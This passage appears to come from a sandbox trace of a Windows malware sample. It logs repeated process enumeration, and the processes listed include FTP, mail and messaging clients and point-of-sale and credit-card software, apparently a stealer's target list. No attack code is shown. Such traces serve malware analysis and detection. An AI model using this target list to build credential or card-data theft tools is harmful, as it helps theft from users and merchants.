cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0225.069] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0225.071] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0225.073] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0225.075] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0225.078] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0225.080] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0225.107] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0225.110] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0225.111] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0225.162] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0225.164] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0225.166] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0225.167] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0225.169] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0225.170] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0225.171] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0225.173] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0225.174] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0225.176] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0225.178] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0225.179] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0225.181] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0225.183] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0225.184] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0225.186] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0225.187] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0225.189] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0225.191] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0225.193] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0225.195] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0225.198] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0225.200] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0225.202] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0225.204] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0225.206] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0225.352] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0225.354] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0225.356] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0225.357] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0225.359] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0225.361] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0225.363] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0225.365] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0225.367] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0225.368] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0225.371] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0225.373] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0225.375] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0225.377] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0225.380] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0225.382] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0225.384] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0225.428] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0225.430] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0225.433] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0225.435] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0225.437] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0225.439] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0225.442] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0225.444] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0225.446] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0225.450] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0225.452] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0225.453] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0225.455] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0225.457] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0225.459] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0225.461] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0225.462] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0225.464] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0225.506] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0225.508] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0225.510] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.512] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0225.514] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0225.516] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0225.518] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0225.520] CloseHandle (hObject=0x15f0) returned 1 [0225.521] Sleep (dwMilliseconds=0x64) [0225.570] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0225.585] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.633] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0225.636] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0225.638] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.640] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0225.642] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, 